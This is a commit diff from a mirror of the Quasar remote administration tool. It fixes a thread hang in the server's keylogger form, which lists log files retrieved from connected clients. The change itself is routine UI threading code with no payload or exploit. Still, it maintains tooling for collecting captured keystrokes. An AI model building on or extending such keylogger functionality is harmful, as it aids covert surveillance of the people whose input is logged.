mirror of https://github.com/quasar/Quasar.git
FrmMain instance null check
Added FrmMain instance null check to safely exit a thread in the FrmKeylogger form in the case of client-server disconnection. The FrmKeylogger spawns a thread that waits for the enabled button to be set to true, after successfully receiving all the log files from the client. If the server were to somehow not process the button being enabled it would hang in the while loop leaving the entire process to be left in memory due to the thread being open.
This commit is contained in:
parent
f1942aa253
commit
53e2096deb
|
@ -79,6 +79,9 @@ private void btnGetLogs_Click(object sender, EventArgs e)
|
|||
{
|
||||
while (!btnGetLogs.Enabled)
|
||||
{
|
||||
if (FrmMain.Instance == null) //Provide an escape from thread in the case of client-server disconnection, a possibly rare occurence
|
||||
return;
|
||||
|
||||
Thread.Sleep(15);
|
||||
}
|
||||
|
||||
|
@ -89,13 +92,13 @@ private void btnGetLogs_Click(object sender, EventArgs e)
|
|||
if (iFiles.Length == 0)
|
||||
return;
|
||||
|
||||
foreach (FileInfo file in iFiles)
|
||||
lstLogs.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
lstLogs.Invoke((MethodInvoker)delegate
|
||||
foreach (FileInfo file in iFiles)
|
||||
{
|
||||
lstLogs.Items.Add(new ListViewItem().Text = file.Name);
|
||||
});
|
||||
}
|
||||
}
|
||||
});
|
||||
}).Start();
|
||||
}
|
||||
|
||||
|
|
|
@ -169,6 +169,7 @@ private void FrmMain_FormClosing(object sender, FormClosingEventArgs e)
|
|||
UPnP.RemovePort(ushort.Parse(XMLSettings.ListenPort.ToString()));
|
||||
|
||||
nIcon.Visible = false;
|
||||
FrmMain.Instance = null;
|
||||
}
|
||||
|
||||
private void lstClients_SelectedIndexChanged(object sender, EventArgs e)
|
||||
|
|
Loading…
Reference in New Issue